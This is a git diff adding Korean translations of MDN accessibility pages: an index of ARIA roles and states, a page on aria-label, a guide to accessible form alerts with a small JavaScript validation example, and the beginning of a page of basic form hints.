+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_progressbar_role" title="en/ARIA/ARIA_Techniques/Using_the_progressbar_role">Progressbar</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_radio_role" title="en/ARIA/ARIA_Techniques/Using_the_radio_role">Radio</a></li>
+ <li>Scrollbar</li>
+ <li>Searchbox</li>
+ <li>Separator (when focusable)</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_slider_role" title="en/ARIA/ARIA_Techniques/Using_the_slider_role">Slider</a></li>
+ <li>Spinbutton</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Switch_role">Switch</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tab_Role">Tab</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tabpanel_Role">Tabpanel</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_textbox_role" title="en/ARIA/ARIA_Techniques/Using_the_textbox_role">Textbox</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Treeitem_Role">Treeitem</a></li>
+</ul>
+</div>
+
+<h3 id="Composite_roles">Composite roles</h3>
+
+<p>The techniques below describe each composite role as well as their required and optional child roles.</p>
+
+<div class="index">
+<ul>
+ <li>Combobox</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Grid_Role">Grid</a> (including <a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Row_Role">row</a>, <a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Gridcell_Role">gridcell</a>, rowheader, columnheader roles)</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_listbox_role" title="en/ARIA/ARIA_Techniques/Using_the_listbox_role">Listbox </a> (including option role)</li>
+ <li>Menu</li>
+ <li>Menubar</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_radio_role" title="en/ARIA/ARIA_Techniques/Using_the_radio_role">Radiogroup (see radio role)</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tablist_Role">Tablist</a> (including <a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tab_Role">tab</a> and <a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tabpanel_Role">tabpanel</a> roles)</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tree_Role">Tree</a></li>
+ <li>Treegrid</li>
+</ul>
+</div>
+
+<h3 id="Document_structure_roles">Document structure roles</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Application_Role">Application</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Article_Role" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_article_role">Article</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Cell_Role">Cell</a></li>
+ <li>Columnheader</li>
+ <li>Definition</li>
+ <li>Directory</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Document_Role">Document</a></li>
+ <li>Feed</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Figure_Role">Figure</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_group_role" title="en/ARIA/ARIA_Techniques/Using_the_group_role">Group</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/heading_role">Heading</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Role_Img">Img</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/List_role">List</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Listitem_role">Listitem</a></li>
+ <li>Math</li>
+ <li>None</li>
+ <li>Note</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_presentation_role" title="en/ARIA/ARIA_Techniques/Using_the_presentation_role">Presentation</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Row_Role">Row</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Rowgroup_Role">Rowgroup</a></li>
+ <li>Rowheader</li>
+ <li>Separator</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Table_Role">Table</a></li>
+ <li>Term</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/textbox_role">Textbox</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_toolbar_role" title="en/ARIA/ARIA_Techniques/Using_the_toolbar_role">Toolbar</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tooltip_Role">Tooltip</a></li>
+</ul>
+</div>
+
+<h3 id="Landmark_roles">Landmark roles</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_banner_role" title="en/ARIA/ARIA_Techniques/Using_the_banner_role">Banner</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Complementary_role">Complementary</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Contentinfo_role">Contentinfo</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Form_Role">Form</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Main_role">Main</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Navigation_Role">Navigation</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Region_role">Region</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Search_role">Search</a></li>
+</ul>
+</div>
+
+<h3 id="Live_Region_Roles">Live Region Roles</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Alert_Role">Alert</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_log_role" title="Using the Log role">Log</a></li>
+ <li>Marquee</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_status_role" title="Using the link role">Status</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/ARIA_timer_role">Timer</a></li>
+</ul>
+</div>
+
+<h3 id="Window_Roles">Window Roles</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_alertdialog_role">Alertdialog</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/dialog_role">Dialog</a></li>
+</ul>
+</div>
+
+<h2 id="States_and_properties">States and properties</h2>
+
+<h3 id="Widget_attributes">Widget attributes</h3>
+
+<div class="index">
+<ul>
+ <li>aria-autocomplete</li>
+ <li>aria-checked</li>
+ <li>aria-current</li>
+ <li>aria-disabled</li>
+ <li>aria-errormessage</li>
+ <li>aria-expanded</li>
+ <li>aria-haspopup</li>
+ <li>aria-hidden</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-invalid_attribute" title="Using the aria-invalid attribute">aria-invalid</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute" title="Using the aria-labelledby attribute">aria-label</a></li>
+ <li>aria-level</li>
+ <li>aria-modal</li>
+ <li>aria-multiline</li>
+ <li>aria-multiselectable</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-orientation_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-orientation_attribute">aria-orientation</a></li>
+ <li>aria-placeholder</li>
+ <li>aria-pressed</li>
+ <li>aria-readonly</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-required_attribute" title="Using the aria-required property">aria-required</a></li>
+ <li>aria-selected</li>
+ <li>aria-sort</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuemax_attribute" title="Using the aria-required attribute">aria-valuemax</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuemin_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuemin_attribute">aria-valuemin</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuenow_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuenow_attribute">aria-valuenow</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuetext_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuetext_attribute">aria-valuetext</a></li>
+</ul>
+</div>
+
+<h3 id="Live_region_attributes">Live region attributes</h3>
+
+<div class="index">
+<ul>
+ <li>aria-live</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-relevant_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-relevant_attribute">aria-relevant</a></li>
+ <li>aria-atomic</li>
+ <li>aria-busy</li>
+</ul>
+</div>
+
+<h3 id="Drag_drop_attributes">Drag &amp; drop attributes</h3>
+
+<div class="index">
+<ul>
+ <li>aria-dropeffect</li>
+ <li>aria-dragged</li>
+</ul>
+</div>
+
+<h3 id="Relationship_attributes">Relationship attributes</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-activedescendant_attribute" title="Role">aria-activedescendant</a></li>
+ <li>aria-colcount</li>
+ <li>aria-colindex</li>
+ <li>aria-colspan</li>
+ <li>aria-controls</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute" title="Using the aria-labelledby attribute">aria-describedby</a></li>
+ <li>aria-details</li>
+ <li>aria-errormessage</li>
+ <li>aria-flowto</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute" title="en/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">aria-labelledby</a></li>
+ <li>aria-owns</li>
+ <li>aria-posinset</li>
+ <li>aria-rowcount</li>
+ <li>aria-rowindex</li>
+ <li>aria-rowspan</li>
+ <li>aria-setsize</li>
+</ul>
+</div>
+
+<h3 id="MicrosoftEdge-specific_properties">MicrosoftEdge-specific properties</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/en-US/docs/Web/API/x-ms-aria-flowfrom">x-ms-aria-flowfrom</a> {{Non-standard_Inline}}</li>
+</ul>
+</div>
diff --git a/files/ko/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.html b/files/ko/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.html
new file mode 100644
index 0000000000..d667416f9d
--- /dev/null
+++ b/files/ko/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.html
@@ -0,0 +1,66 @@
+---
+title: aria-label 속성 사용
+slug: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute
+tags:
+  - ARIA
+  - Accessibility
+  - aria-label
+translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute
+---
+<p><span class="seoSummary"><a class="external" href="https://www.w3.org/TR/wai-aria/#aria-label" rel="external" title="https://www.w3.org/TR/wai-aria/#aria-label"><code>aria-label</code></a> 속성은 현재 요소에 레이블을 정의하기 위해서 사용합니다. 텍스트 레이블이 화면에 표시되지 않을 때에 사용하세요. 만약에 요소에 레이블을 정의하는 화면에 보이는 텍스트가 있다면  <a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute" title="Using the aria-labelledby attribute">aria-labelledby</a>을 대신 사용하세요</span></p>
+
+<p>이 속성은 일반적인 HTML 요소와 함께 사용할 수 있습니다. ARIA <code>role</code> 이 적용된 요소에만 한정되지 않습니다.</p>
+
+<h3 class="editable" id="값">값</h3>
+
+<p>문자열</p>
+
+<h3 class="editable" id="사용자_에이전트와_보조도구에_대한_영향"><span>사용자 에이전트와 보조도구에 대한 영향</span></h3>
+
+<div class="editIcon">
+<h3 class="editable" id="sect1"><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute?action=edit&amp;sectionId=3" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+</div>
+
+<div class="note"><strong>참고:</strong> 보조기기가 이 기술을 처리하는 방법에 대한 의견에는 차이가 있을 수 있습니다. 위에서 제공하는 정보는 그러한 의견 중 하나일 뿐 규범이 아닙니다. </div>
+
+<h2 id="예">예</h2>
+
+<div id="section_5">
+<h4 id="예_1_다수의_레이블">예 1: 다수의 레이블</h4>
+
+<p>아래의 예제에서 버튼은 X가 가운데있는 전형적인 "닫기" 버튼처럼 스타일됩니다. 버튼의 목적이 대화상자를 닫는 것임을 암시하는 것이 없으므로 보조기기에 레이블을 제공하기 위해 <code>aria-label</code> 를 사용합니다.</p>
+</div>
+
+<pre class="deki-transform"><span class="tag">&lt;button aria-label=<span class="str">"Close"</span> onclick=<span class="str">"myDialog.close()"</span>&gt;</span>X<span class="tag">&lt;/button&gt;</span>
+</pre>
+
+<h4 id="동작하는_예">동작하는 예:</h4>
+
+<p> </p>
+
+<h3 id="주의">주의</h3>
+
+<ul>
+ <li>레이블에 대한 가장 일반적인 접근성 API 매핑은 접근 가능한 이름 프로퍼티입니다.</li>
+ <li><code>aria-label</code>이 포함된 속성을 대부분의 자동 번역 서비스는 무시합니다. </li>
+</ul>
+
+<h3 id="Used_by_ARIA_roles">Used by ARIA roles</h3>
+
+<p>베이스 마크업의 모든 요소</p>
+
+<h3 id="관련된_ARIA_기술">관련된 ARIA 기술</h3>
+
+<ul>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute" title="en/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">Using the aria-labelledby attribute</a></li>
+</ul>
+
+<h3 id="적합성">적합성</h3>
+
+<p class="comment">TBD: 일반적인 UA와 AT 제품 조합을 위한 서포트 정보를 추가합니다.</p>
+
+<h3 id="추가_리소스">추가 리소스</h3>
+
+<ul>
+ <li><a class="external" href="https://www.w3.org/TR/wai-aria/#aria-label" title="https://www.w3.org/TR/wai-aria/#aria-label">WAI-ARIA specification for aria-label</a></li>
+</ul>
diff --git a/files/ko/web/accessibility/aria/forms/alerts/index.html b/files/ko/web/accessibility/aria/forms/alerts/index.html
new file mode 100644
index 0000000000..072f9443b7
--- /dev/null
+++ b/files/ko/web/accessibility/aria/forms/alerts/index.html
@@ -0,0 +1,146 @@
+---
+title: Alerts
+slug: Web/Accessibility/ARIA/forms/alerts
+tags:
+  - ARIA
+  - Forms
+  - Web
+  - 접근성
+translation_of: Web/Accessibility/ARIA/forms/alerts
+---
+<h2 id="문제점">문제점</h2>
+
+<p>엑세스 가능한 오류 검사를 포함하고 싶은 폼, 예를 들어 콘택트 폼이 있습니다. 자주 있는 문제점으로는 Email이 유효하지 않거나, 이름 필드에 성이나 이름이 포함되지 않은 것이 있습니다.</p>
+
+<h2 id="폼">폼</h2>
+
+<p>우선 <a href="https://developer.mozilla.org/ko/docs/Web/Accessibility/ARIA/forms/Basic_form_hints#Required_and_invalid_fields" title="/en/Web/Accessibility/ARIA/forms/Basic_form_hints"><code>aria-required</code> 기술</a>을 읽지 않았다면 먼저 읽어주세요. 여기서는 그것의 확장된 내용을 다룹니다. </p>
+
+<p>여기에 샘플 폼이 있습니다:</p>
+
+<pre class="brush: html"> &lt;form method="post" action="post.php"&gt;
+   &lt;fieldset&gt;
+     &lt;legend&gt;Please enter your contact details&lt;/legend&gt;
+     &lt;label for="name"&gt;Your name (required):&lt;/label&gt;
+     &lt;input name="name" id="name" aria-required="true"/&gt;
+     &lt;br /&gt;
+     &lt;label for="email"&gt;E-Mail address (required):&lt;/label&gt;
+     &lt;input name="email" id="email" aria-required="true"/&gt;
+     &lt;br /&gt;
+     &lt;label for="website"&gt;Website (optional):&lt;/label&gt;
+     &lt;input name="website" id="website"/&gt;
+   &lt;/fieldset&gt;
+   &lt;label for="message"&gt;Please enter your message (required):&lt;/label&gt;
+   &lt;br /&gt;
+   &lt;textarea name="message" id="message" rows="5" cols="80"
+             aria-required="true"&gt;&lt;/textarea&gt;
+   &lt;br /&gt;
+   &lt;input type="submit" name="submit" value="Send message"/&gt;
+   &lt;input type="reset" name="reset" value="Reset form"/&gt;
+ &lt;/form&gt;
+</pre>
+
+<h2 id="유효성_검사_및_사용자에게_알림"><span class="mw-headline" id="Checking_for_validity_and_notifying_the_user">유효성 검사 및 사용자에게 알림</span></h2>
+
+<p>폼 유효성 검사는 여러 단계로 구성됩니다. :</p>
+
+<ol>
+ <li>Email 또는 입력한 이름이 유효한지 확인하십시오. 각 필드는 유효성 검사를 통과하기 위해 충족되어야 하는 일련의 기준이 있습니다. 이 예제를 단순화하기 위해, Email에 '@' 마크가 있는지 이름에는 적어도 하나의 문자가 포함되어 있는지를 확인할 것입니다. </li>
+ <li>만약 위의 기준이 충족되지 않으면, 필드의  <code>aria-invalid</code> 속성에 “<code>true</code>” 값이 주어질 것입니다.</li>
+ <li>기준이 충족되지 않으면 경고를 통해 사용자에게 알립니다. JavaScript의 ‘<code>alert</code>’ function을 사용하는 대신 아림을 위해 간단한 WAI-ARIA 위젯을 사용할 것입니다. 이것은 사용자에게 에러를 알려주지만, Javascript의 기본 ‘<code>alert</code>’ function의 “<code>onblur</code>”로 인해 발생하는 포커스 손실 없이 계속해서 폼을 수정할 수 있게 해줍니다. </li>
+</ol>
+
+<p>아래의 예제는  “<code>head</code>” 의 닫는 태그를 삽입하는 Javascript 코드입니다.:</p>
+
+<pre class="brush: js"> &lt;script type="application/javascript"&gt;
+ function removeOldAlert()
+ {
+   var oldAlert = document.getElementById("alert");
+   if (oldAlert){
+     document.body.removeChild(oldAlert);
+   }
+ }
+
+ function addAlert(aMsg)
+ {
+   removeOldAlert();
+   var newAlert = document.createElement("div");
+   newAlert.setAttribute("role", "alert");
+   newAlert.setAttribute("id", "alert");
+   var msg = document.createTextNode(aMsg);
+   newAlert.appendChild(msg);
+   document.body.appendChild(newAlert);
+ }
+
+ function checkValidity(aID, aSearchTerm, aMsg)
+ {
+   var elem = document.getElementById(aID);
+   var invalid = (elem.value.indexOf(aSearchTerm) &lt; 0);
+   if (invalid) {
+     elem.setAttribute("aria-invalid", "true");
+     addAlert(aMsg);
+   } else {
+     elem.setAttribute("aria-invalid", "false");
+     removeOldAlert();
+   }
+ }
+ &lt;/script&gt;
+</pre>
+
+<h2 id="checkValidity_함수"><span class="mw-headline" id="The_checkValidity_function"><code>checkValidity</code> 함수</span></h2>
+
+<p>Javascript에서 폼 유효성 검사에 사용되는 기본 메소드는 <code>checkValidity</code> 함수입니다. 이 메소드는 세 개의 파라미터를 가집니다: 유효성 검사를 할 <code>input</code>의 ID, 유효성을 확인하기 위해 검색할 검색어, alert에 삽입할 에러 메시지입니다.</p>
+
+<p>유효성을 확인하기 위해, 이 함수는 <code>input</code>의 값 <code>indexOf</code>가 -1보다 큰지 확인합니다. 검색어를 찾을 수 없을 때 <code>-1</code> 혹은 그보다 작은 값을 반환합니다. </p>
+
+<p>만약에 값이 유효하지 않다면 이 함수는 2가지 작업을 수행합니다. </p>
+
+<ol>
+ <li>요소의 <code>aria-invalid</code> 속성을 “<code>true</code>”로 설정합니다. 이 속성은 사용자에게 여기에 유효하지 않은 값이 있다는 것을 알립니다. </li>
+ <li><code>addAlert</code> 함수를 호출하여 제공된 에러 메시지와 함께 alert을 추가합니다. </li>
+</ol>
+
+<p>검색어가 발견되면 <code>aria-invalid</code> 속성은 “<code>false</code>”로 재설정됩니다. 또한 남아있는 모든 alert가 제거됩니다. </p>
+
+<h2 id="addAlert_함수"><span class="mw-headline" id="The_addAlert_function"><code>addAlert</code> 함수</span></h2>
+
+<p>이 함수는 일단 오래된 alert을 제거합니다. 이 함수는 간단합니다. : id가 “<code>alert</code>”인 요소를 찾고, 발견되면 <a href="/en-US/docs/Mozilla/Tech/XUL/Tutorial/Document_Object_Model">document object model</a>.에서 해당 요소를 제거합니다. </p>
+
+<p>다음으로 함수는 alert 테스트를 저장할 <code>div</code> 요소를 만듭니다. 그 <code>div</code>요소는 “<code>alert</code>”이라는 ID를 갖습니다. 그리고  “alert”이라는 role을 갖습니다. 이름에 "aria"가 없지만 사실은 ARIA에서 만들어진 것입니다. role이 간소화를 위해 단순히 HTML로 이식된 <a class="external text" href="http://www.w3.org/TR/xhtml-role/" title="XHTML Role Attribute Module">XHTML Role Attribute Module</a>에 기반하기 때문입니다.</p>
+
+<p>텍스트가 <code>div</code> 요소에 추가되고 <code>div</code> 요소는 문서에 추가됩니다. </p>
+
+<p>이 <code>div</code>  요소가 나타나면 Firefox는 보조기기에 "alert" 이벤트를 발생시킵니다. 대부분의 스크린 리더는 자동으로 그것을 주워서 읽습니다. 이건 암호 저장 여부를 묻는 Firefox의 알림 표시 줄과 비슷합니다. 방금 만든 alert에는 버튼이 없으므로 단순히 무엇이 문제인지만을 알려줍니다. </p>
+
+<h2 id="“onblur”_이벤트_수정하기"><span class="mw-headline" id="Adding_the_magic_to_the_.E2.80.9Conblur.E2.80.9D_event">“<code>onblur</code>” 이벤트 수정하기</span></h2>
+
+<p>이제 남은 것은 이벤트 핸들러를 추가하는 것뿐입니다. 우리는 Email과 이름에 대한 두개의 인풋을 다음과 같이 변경해야합니다. :</p>
+
+<pre class="brush: html"> &lt;input name="name" id="name" aria-required="true"
+        onblur="checkValidity('name', ' ', 'Invalid name entered!');"/&gt;
+ &lt;br /&gt;
+ &lt;input name="email" id="email" aria-required="true"
+        onblur="checkValidity('email', '@', 'Invalid e-mail address');"/&gt;
+</pre>
+
+<p><strong>예제 테스트하기</strong></p>
+
+<p>만약 Firefox 3 와 현재 지원되는 스크린 리더를 사용하고 있다면 다음을 시도해보세요.:</p>
+
+<ol>
+ <li>이름에 성만을 입력해보세요. 탭을 하면 유효하지 않은 이름을 입력했다는 알림을 들을 수 있을 겁니다. shift-tab을 눌러서 돌아간 다음 에러를 수정할 수 있습니다. </li>
+ <li>"@"없이 Email 주소를 입력해보세요. 탭을 해서 필드를 벗어나면 유효하지 않은 Email을 입력했다는 알림을 들을 수 있을 겁니다. </li>
+</ol>
+
+<p>두 경우 모두 필드로 포커스가 돌아가면 스크린 리더는 해당 필드가 유효하지 않음을 알려주어야 합니다. JAWS 9는 이것을 지원하지만,  JAWS 8는 지원하지 않습니다. 그렇기때문에 이것은 스크린 리더 버전에 따라서 동작하지 않을 수 있습니다. </p>
+
+<h2 id="자주_하는_질문">자주 하는 질문</h2>
+
+<dl>
+ <dt>Q. 왜 label에 “<code>(required)</code>” 를 넣고 일부 input에 <code>aria-required</code> 속성을 넣었나요?</dt>
+ <dd>A. 만약 이게 실제 폼이고 아직 ARIA를 지원하지 않는 브라우저에서 사이트를 방문한 경우에도 이것이 필수 입력란임을 알려주는 것이 좋습니다. </dd>
+ <dt>Q. 왜 유효하지 않은 필드로 자동 포커스되도록 하지 않나요?</dt>
+ <dd>A. 왜냐하면 Windows API 사양 및 기타 사양에 따라 허용되지 않기 때문입니다. 또한, 사용자 상호작용 없이 포커스를 자주 이동하는 것은  좋지 않습니다. </dd>
+</dl>
+
+<div class="warning">TBD: 이건 다시 생각해봅시다. 개인적으로 키보드 트랩을 발생시키지 않는다면 포커스를 설정하는 것이 좋을 것 같습니다.</div>
diff --git a/files/ko/web/accessibility/aria/forms/basic_form_hints/index.html b/files/ko/web/accessibility/aria/forms/basic_form_hints/index.html
new file mode 100644
index 0000000000..f3757219ab
--- /dev/null
+++ b/files/ko/web/accessibility/aria/forms/basic_form_hints/index.html
@@ -0,0 +1,116 @@
+---
+title: 기본적인 폼 힌트
+slug: Web/Accessibility/ARIA/forms/Basic_form_hints
+tags:
+  - ARIA
+  - Forms
+  - 접근성
+translation_of: Web/Accessibility/ARIA/forms/Basic_form_hints
+---
+<p><span class="seoSummary">전통적인 HTML 폼 관련 요소를 사용하여 폼을 구현할 때 컨트롤에 레이블을 지정하고 레이블을 컨트롤과 명시적으로 연결하는 것이 중요합니다.</span> 스크린 리더 사용자가 페이지를 탐색할 때, 스크린 리더는 폼 컨트롤을 알려주지만, 레이블과 폼이 직접적으로 연결되지 않으면 스크린 리더는 어떤 레이블이 적절한지 알 방법이 없습니다. </p>
+
+<p>아래의 예는 레이블이 있는 간단한 폼을 보여줍니다. 각{{ HTMLElement("input") }} 요소는 <code>id</code>를 가지고 있고, 각{{ HTMLElement("label") }} 요소는 자신과 연결된 {{ HTMLElement("input") }}의 id를 나타내는  <code>for</code> 속성을 가지고 있습니다.</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;ul&gt;
+    &lt;li&gt;
+      &lt;input id="wine-1" type="checkbox" value="riesling"/&gt;
+      &lt;label for="wine-1"&gt;Berg Rottland Riesling&lt;/label&gt;
+    &lt;/li&gt;
+    &lt;li&gt;
+      &lt;input id="wine-2" type="checkbox" value="pinot-blanc"/&gt;
+      &lt;label for="wine-2"&gt;Pinot Blanc&lt;/label&gt;
+    &lt;/li&gt;
+    &lt;li&gt;
+      &lt;input id="wine-3" type="checkbox" value="pinot-grigio"/&gt;
+      &lt;label for="wine-3"&gt;Pinot Grigio&lt;/label&gt;
+    &lt;/li&gt;
+    &lt;li&gt;
+      &lt;input id="wine-4" type="checkbox" value="gewurztraminer"/&gt;
+      &lt;label for="wine-4"&gt;Gewürztraminer&lt;/label&gt;
+    &lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/form&gt;
+</pre>
+
+<h2 id="Labeling_with_ARIA" name="Labeling_with_ARIA">ARIA로 라벨링 하기</h2>
+
+<p>HTML {{ HTMLElement("label") }} 요소는 폼 관련 요소로 적당하지만, 많은 폼 컨트롤은 {{ HTMLElement("div") }}나 {{ HTMLElement("span") }}를 사용한 동적인 Javascript 위젯으로 구현되어있습니다. W3C의 <a href="http://www.w3.org/WAI/" title="http://www.w3.org/WAI/">Web Accessibility Initiative</a>에서 만들어진 <a href="https://www.w3.org/WAI/standards-guidelines/aria/" title="http://www.w3.org/WAI/intro/aria.php">WAI-ARIA</a>, <strong>Accessible Rich Internet Applications</strong> 사양은 이러한 경우를 위해 <code><a href="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-labelledby" title="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-labelledby">aria-labelledby</a></code> 속성을 제공하고 있습니다.</p>
+
+<p>아래의 예에서는 순서 없는 리스트를 사용하여 구현한 라디오 버튼 그룹을 보여주고 있습니다. 3행의  {{ HTMLElement("ul") }} 요소에 <code>aria-labelledby</code> 속성에 라디오 그룹의 레이블인 {{ HTMLElement("h3") }} 요소의  <code>id</code>  <code>rg1_label</code>을 설정했습니다. </p>
+
+<pre class="brush: html">&lt;h3 id="rg1_label"&gt;Lunch Options&lt;/h3&gt;
+
+&lt;ul class="radiogroup" id="rg1"  role="radiogroup" aria-labelledby="rg1_label"&gt;
+  &lt;li id="r1"  tabindex="-1" role="radio" aria-checked="false"&gt;
+    &lt;img role="presentation" src="radio-unchecked.gif" /&gt; Thai
+  &lt;/li&gt;
+  &lt;li id="r2"  tabindex="-1" role="radio"  aria-checked="false"&gt;
+    &lt;img role="presentation" src="radio-unchecked.gif" /&gt; Subway
+  &lt;/li&gt;
+  &lt;li id="r3"   tabindex="0" role="radio" aria-checked="true"&gt;
+    &lt;img role="presentation" src="radio-checked.gif" /&gt; Radio Maria
+  &lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h2 id="Describing_with_ARIA" name="Describing_with_ARIA">ARIA로 설명하기</h2>
+
+<p>폼 컨트롤을 가끔 label 외에 추가설명이 있는 경우가 있다. ARIA는 <code><a href="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-describedby" title="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-describedby">aria-describedby</a></code> 속성을 사용하여 설명을 컨트롤과 직접 연관시킵니다. </p>
+
+<p>아래 예제는 {{ HTMLElement("div") }} 안의 문장이  {{ HTMLElement("button") }} 요소를 설명하는 것을 보여줍니다. {{ HTMLElement("button") }}의  <code>aria-describedby</code> 속성은 {{ HTMLElement("div") }}의 <code>id</code>를 참조합니다. </p>
+
+<pre class="brush: html">&lt;button aria-describedby="descriptionRevert"&gt;Revert&lt;/button&gt;
+&lt;div id="descriptionRevert"&gt;Reverting will undo any changes that have been made
+                            since the last save.&lt;/div&gt;</pre>
+
+<div class="note">
+<p><strong>Note</strong>: <code>aria-describedby</code> 속성은 폼 컨트롤 외에도 다른 용도로 사용됩니다. </p>
+</div>
+
+<h2 id="Required_and_invalid_fields" name="Required_and_invalid_fields">필수 필드와 유효하지 않은 필드 </h2>
+
+<div class="note">
+<p><strong>Note</strong>: 현재는 전 세계 사용자의 97%가  <code>required</code>를 사용할 수 있으므로 <code>required</code>와 <code>aria-required</code> 모두를 사용하는 것은 더는 권장하지 않습니다.</p>
+</div>
+
+<p>일반적으로 웹 개발자는 필수 필드와 유효하지 않은 필드를 나타내기 위해서 시각적인 방법을 사용합니다. 보조 기술(ATs)은 언제나 표시된 것을 통해서 정보를 추측하지는 않습니다. ARIA 는 폼 컨트롤의 필수나 유효하지 않음을 나타내는 속성을 제공합니다. </p>
+
+<ul>
